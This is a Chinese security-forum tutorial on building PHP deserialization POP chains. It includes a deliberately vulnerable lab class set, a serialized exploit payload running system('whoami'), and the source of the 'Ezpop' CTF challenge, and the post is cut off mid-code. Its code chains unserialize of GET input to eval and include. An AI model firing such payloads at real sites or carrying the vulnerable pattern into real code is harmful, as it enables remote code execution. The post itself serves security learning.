首页
社区
课程
招聘
POP链初探
发表于: 2022-3-6 21:10 1814

POP链初探

2022-3-6 21:10
1814

Author:H3h3QAQ

之前我写了一篇PHP反序列化的基础文章

接下来我打算记录一下我的POP链构造学习过程

首先我们需要一些了解一些基础知识

面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。

POP链是反序列化漏洞利用中的一种常有方法,即寻找程序环境中已经定义或能够动态加载的对象中的属性或函数,将一些能够被调用的函数组合起来,达到目的的操作。

在简单的反序列化漏洞利用中,我们通常寻找在源码中找寻找可以利用的魔术方法,但是关键利用点并不是魔术方法中,而是在类的方法中,在此时如果有多个类,存在可以RCE的函数,我们就可以尝试去寻找存在我们可控的变量的POP链来将其串联起来,从而达到攻击的目的。

接下来,我们给一个简单的环境,更有利于理解

这就是一个简单的环境,我们需要利用到Hack类中的action方法中的eval()达成RCE

接下来我们温习一下魔术方法:

环境中用到了__construct()__destruct()魔术方法,我们需要牢记住每个魔术方法在什么情况下被触发。

我们来分析一下Lemon类

当Lemon类被new的时候会调用__construct()从而newH3类,然后会触发__destruct()方法,把a的指传给action()

但是H3类中并没有我们能够利用的的地方,我们接下来看Hack

该类中有eval函数,可以被利用

到此我们的POP链已经很明确了,利用Lemon类中的魔术方法去实例化Hack类,从而执行eval(),并且参数可控

exp如下:

payload:

执行结果:

这就完成了一个简单的POP链构造

经典题目Ezpop

为了便于观看,我把每个魔术方法都做了注释在上面

接下来分析一下

我们可以利用Modifier类来包含到flag.php

然后再利用Show类输出flag

接下来我们来找一下POP链

__wakeup()开始(或者说从Show类开始)

__wakeup()先对字符串做比较,如果$this->sourceShow类,则会触发__toString()魔术方法

__toString()方法会访问str中的source,如果strTest类则会触发__get()

可以看到,在__get()魔术方法中,p作为函数来使用,我们可以来实例化Modifier类,从而触发__invoke()方法

至此,我们已经找到了一个完整的POP链

然后就可以伪协议配合include来把flag读出来

exp如下:

将其base64解码后成功拿到flag

这里选择了CVE-2019-9081 Laravel5.7 反序列化 RCE进行复现

对于初学者,我建议复现一下Thinkphp和Laravel几个反序列化洞

在复现的过程中跟着作者的思路,可以很好的体会一下POP链子构造的方法和技巧

因为之前已经复现过,并且在看雪发过文章了,这里就贴个链接QAQ

CVE-2019-9081 Laravel5.7 反序列化 RCE

相信通过了本篇文章,对于对POP链构造的初学者,能够提供一个简单快速的入手方法

POP链构造在真实环境下经常要“跳来跳去”,这就对挖掘者的耐心和技巧是个非常大的考验,但是如果成功挖掘出一条链子后,感觉非常的爽~

而面对这些,就需要大家对于魔术方法掌握牢固,并且对于这种构造思想也要灵活运用,不能太过死板,而且在挖链子的过程中也会有一些小技巧,这些就需要大家自行收集了,本篇文章就不过多赘述咯

参考链接:

77cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6$3x3s2N6Q4x3X3g2@1L8%4m8Q4x3V1j5J5x3o6t1H3i4K6u0r3x3o6y4Q4x3V1j5H3y4g2)9J5c8Y4g2F1M7$3g2S2M7X3W2K6k6g2)9J5k6q4m8a6f1q4)9J5c8W2)9J5x3K6u0Q4x3X3b7J5i4K6u0V1i4K6t1#2c8e0N6Q4x3U0f1&6y4q4)9J5y4f1p5^5i4K6t1#2c8e0c8Q4x3U0g2n7z5q4)9J5y4e0R3H3i4K6t1#2c8e0c8Q4x3U0g2n7z5q4)9J5y4f1q4m8i4K6t1#2c8e0g2Q4x3U0g2m8c8g2)9J5y4e0W2q4i4K6t1#2c8e0c8Q4x3U0g2n7c8g2)9J5y4e0S2n7i4K6t1#2c8e0S2Q4x3U0g2m8c8W2)9J5y4f1t1@1i4K6t1#2c8e0k6Q4x3U0f1&6z5q4)9J5y4e0S2q4i4K6t1#2c8e0g2Q4x3U0g2m8y4W2)9J5y4e0R3J5i4K6t1#2c8e0c8Q4x3U0g2n7c8q4)9J5y4e0V1#2i4K6t1#2c8e0k6Q4x3U0f1&6c8g2)9J5y4e0R3@1i4K6t1#2c8e0W2Q4x3U0f1^5x3q4)9J5y4f1p5H3f1p5!0b7i4K6t1#2c8e0W2Q4x3U0f1&6x3#2)9J5y4f1u0q4

2efK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3R3K6k6$3g2W2K9$3g2J5i4K6u0W2N6r3!0H3i4K6u0r3M7r3!0K6N6s2y4Q4x3V1k6S2k6e0x3J5y4e0m8S2x3g2)9J5k6h3S2@1L8h3I4Q4x3U0y4@1L8$3y4Q4x3X3c8Z5k6h3q4V1K9h3&6Y4i4K6u0V1x3R3`.`.

https://bbs.pediy.com/thread-270904.htm

5c0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2K6k6h3y4Q4x3X3c8A6L8W2)9J5k6h3y4G2L8g2)9J5c8X3q4J5N6r3W2U0L8r3g2Q4x3V1j5I4x3o6V1@1

 
 
 
<?php
show_source(__FILE__);
class Lemon {
    protected $a;
    function __construct() {
        $this->a = new H3();
    }
    function __destruct() {
        $this->a->action();
    }
}
class H3 {
    function action() {
        echo "I want to play basketball!";
    }
}
class Hack {
    private $data;
    function H3() {
        eval($this->data);
    }
}
unserialize($_GET['eval']);
<?php
show_source(__FILE__);
class Lemon {
    protected $a;
    function __construct() {
        $this->a = new H3();
    }
    function __destruct() {
        $this->a->action();
    }
}
class H3 {
    function action() {
        echo "I want to play basketball!";
    }
}
class Hack {
    private $data;
    function H3() {
        eval($this->data);
    }
}
unserialize($_GET['eval']);
 
__destruct()://析构函数当对象被销毁时会被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发
__construct(): //构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
__destruct()://析构函数当对象被销毁时会被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发
__construct(): //构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
 
class Lemon {
    protected $a;
    function __construct() {
        $this->a = new H3();
    }
    function __destruct() {
        $this->a->action();
    }
}
class Lemon {
    protected $a;
    function __construct() {
        $this->a = new H3();
    }
    function __destruct() {
        $this->a->action();
    }
}
 
class Hack {
    private $data;
    function action() {
        eval($this->data);
    }
}
class Hack {
    private $data;
    function action() {
        eval($this->data);
    }
}
 
 
<?php
class Lemon {
    protected $a;
    function __construct() {
        $this->a = new Hack();
    }
}
class Hack {
    private $data="system('whoami');";
}
$a=new Lemon();
echo urlencode(serialize($a));
?>
<?php
class Lemon {
    protected $a;
    function __construct() {
        $this->a = new Hack();
    }
}
class Hack {
    private $data="system('whoami');";
}
$a=new Lemon();
echo urlencode(serialize($a));
?>
O%3A5%3A%22Lemon%22%3A1%3A%7Bs%3A4%3A%22%00%2A%00a%22%3BO%3A4%3A%22Hack%22%3A1%3A%7Bs%3A10%3A%22%00Hack%00data%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D%7D
O%3A5%3A%22Lemon%22%3A1%3A%7Bs%3A4%3A%22%00%2A%00a%22%3BO%3A4%3A%22Hack%22%3A1%3A%7Bs%3A10%3A%22%00Hack%00data%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D%7D
 
 
<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){ //当脚本尝试将对象调用为函数时触发
        $this->append($this->var);
    }
}
 
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){ // 当一个对象创建时被调用
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){ //当一个对象被当作一个字符串被调用
        return $this->str->source;
    }
 
    public function __wakeup(){ //使用unserialize时触发
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
 
class Test{
    public $p;
    public function __construct(){ // 当一个对象创建时被调用
        $this->p = array();
    }
 
    public function __get($key){ //用于从不可访问的属性读取数据
        $function = $this->p;
        return $function();
    }
}
 
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
 
?>
<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){ //当脚本尝试将对象调用为函数时触发
        $this->append($this->var);
    }
}
 
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){ // 当一个对象创建时被调用

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回